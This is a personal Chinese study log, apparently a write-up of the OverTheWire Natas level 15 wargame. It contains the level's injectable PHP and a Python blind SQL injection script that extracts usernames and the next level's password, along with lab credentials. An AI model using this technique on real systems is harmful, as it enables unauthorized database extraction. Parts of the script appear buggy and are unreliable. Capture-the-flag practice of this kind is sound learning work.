1625-5 王子昂 总结《2017年8月17日》 【连续第319天总结】 A. WarGames-Natas B.
这关SQL注入明显比上一关难多了,PHP代码如下:
if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; } mysql_close($link); } else { ?>顺带学习了一下HTTP请求的两种方法 GET方法,常用于获取服务器的信息,提交参数一般以”index.php?a=xxx&b=xxx”的形式 POST方法,常用于向服务器提交信息,提交的表单在内容部分,通过抓包才可修改
PHP代码中方便地提供了当使用GET方法提交,包含debug参数时会将SQL语句显示出来,大大降低了复杂度 本题中所有数据库的查询结果都被PHP封装起来,只显示用户存在/不存在/SQL错误 那么很明显,只能通过构造子句来爆破了 通过debug确认命令可行后写了脚本爆破 注意 1.users表下有多个项,需要逐个爆出并选择合适的 2.mysql不区分大小写,在通过length函数爆出长度为32时就不可能逐个尝试了;需要使用ascii+substr逐个截取字符转换成ASCII值进行比较
from urllib import request,parse import re def httpcon(string,i): url=r'http://natas15.natas.labs.overthewire.org/' headers={'Authorization':r'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}#认证为username和password的b64,直接从浏览器抓包亦可 reqdata={'username':'" or left(username,'+str(i)+')="' + string + '" and "1"="1'} reqdata = parse.urlencode(reqdata).encode('utf-8') req=request.Request(url,data=reqdata,headers=headers) page=request.urlopen(req) string=page.read().decode() pattern=r'<div id="content">\r\n(.+)<br>' result=re.search(pattern,string)#正则提取关键反馈 if result: return result.group(1) else: return "Connection failed." chars=[] chars1 = [x + 48 for x in range(10)]#10个数字 chars2 = [x + 65 for x in range(26)]#26个大写字符集 chars3 = [x + 97 for x in range(26)]#26个小写字符集 chars.extend(chars1) chars.extend(chars2)#合并,MYSQL不区分大小写所以在爆username时无需小写集 def brute(key,i): flag=1 for char in chars: string=key + chr(char)#临时key #string=chr(char) result=httpcon(string,i)#尝试连接 if(result != "Flase"): if(result == "This user exists."): print("find:",key+chr(char)) flag=0#找到下一个字符,即该key为中间量,无需加入users集 brute(key+chr(char),i+1)#递归调用 else: print(i,string,result) else:#遍历字符集后未找到下一个字符 if(flag): result1.append(key) #i=i+1 result1=[] brute('',1) print("Finshed.\nThe users are:") for i in result1: print(i)没有用多线程,而是单纯的函数递归(因为懒得去找多线程怎么用了) 得到usernames:
ALICE BOB CHARLIE NATAS16很明显natas16是所需的username 将reqdata改为
reqdata={'username':'natas16" and ascii(substr(password,'+str(i)+',1))=ascii("'+string+'") and "1"="1'}chars也要记得extend(chars3)(小写字母集) 因为与natas16对应的password只有一个,且ascii只能操作一个字符,必须使用substr剪切函数逐个取字符,所以把brute函数稍加改动:
def brute(key,i): for char in chars: string=chr(char) result=httpcon(string,i) if(result != "Flase"): if(result == "This user exists."): key=key + chr(char) brute(key+chr(char),i+1) break else: print(i,string,result) else: print("Finished.\nThe pass word is ",key)遂得到pw:
WaIHEacj63wnNIBROHeqi3p9t0m5nhmhC. 明日计划 Natas
